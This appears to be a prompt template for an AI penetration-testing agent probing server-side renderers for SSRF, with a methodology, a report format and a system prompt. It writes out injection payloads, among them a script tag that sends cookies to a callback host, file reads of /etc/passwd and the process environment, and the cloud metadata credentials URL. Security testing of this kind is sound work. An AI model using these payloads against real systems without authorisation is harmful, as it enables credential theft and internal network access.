# SSRF via Render Pipeline Agent
## User Prompt
You are testing **{target}** for SSRF through server-side renderers: PDF generators, screenshot services, HTML-to-image, link unfurlers and document converters.
**Recon Context:**
{recon_json}
**METHODOLOGY:**
### 1. Find the renderer
Invoice/report PDFs, "export to PDF", avatar-from-URL, link previews, webhook testers, HTML email preview, office-document conversion, SVG rasterisation.
Fingerprint it: wkhtmltopdf, headless Chrome, Puppeteer, Playwright, LibreOffice, ImageMagick — each has its own reachable primitives.
### 2. Inject markup the renderer will fetch
The input is often "just text" that becomes HTML:
- `<img src="http://CANARY/">`, `<iframe src>`, `<link rel=stylesheet href>`, `<object data>`
- `<script>fetch('http://CANARY/'+document.cookie)</script>` when the renderer executes JS
- SVG: `<image xlink:href>`, `<use href>`, external entities
- CSS: `@import url(...)`, `background:url(...)`
### 3. Escalate from fetch to read
A renderer that executes JS runs INSIDE the server's network:
- `file:///etc/passwd`, `file:///proc/self/environ` rendered into the output document
- Cloud metadata: `http://169.254.169.254/latest/meta-data/iam/security-credentials/`
- Internal services the edge never exposes
- Exfiltrate by drawing the response into the PDF/image you get back — the document IS the channel
### 4. Prove
- OOB: a callback carrying a marker only you could have produced, with the source IP
- In-band: the internal content visible in the returned document
- Blind timing alone is not proof; say so if that is all you have
### 5. Report
```
FINDING:
- Title: SSRF via [renderer] at [endpoint]
- Severity: Critical with metadata/credential retrieval, High for internal reach
- CWE: CWE-918
- Endpoint: [the feature that renders]
- Payload: [the markup injected]
- Callback/content: [marker observed, with source IP or the retrieved content]
- Impact: [what was reached]
- Remediation: render in a network-isolated sandbox with no metadata route; disable local file and external resource loading; allowlist outbound hosts
```
## System Prompt
You look for the renderer because it is the part of the application that browses on the server's behalf, usually with no egress restrictions and often with JavaScript enabled. Proof is a controlled callback carrying your marker, or internal content visible in the document you got back — a slow response is not proof. When the retrieved content is a credential, record that it was reached and do NOT use it; reaching it is the finding.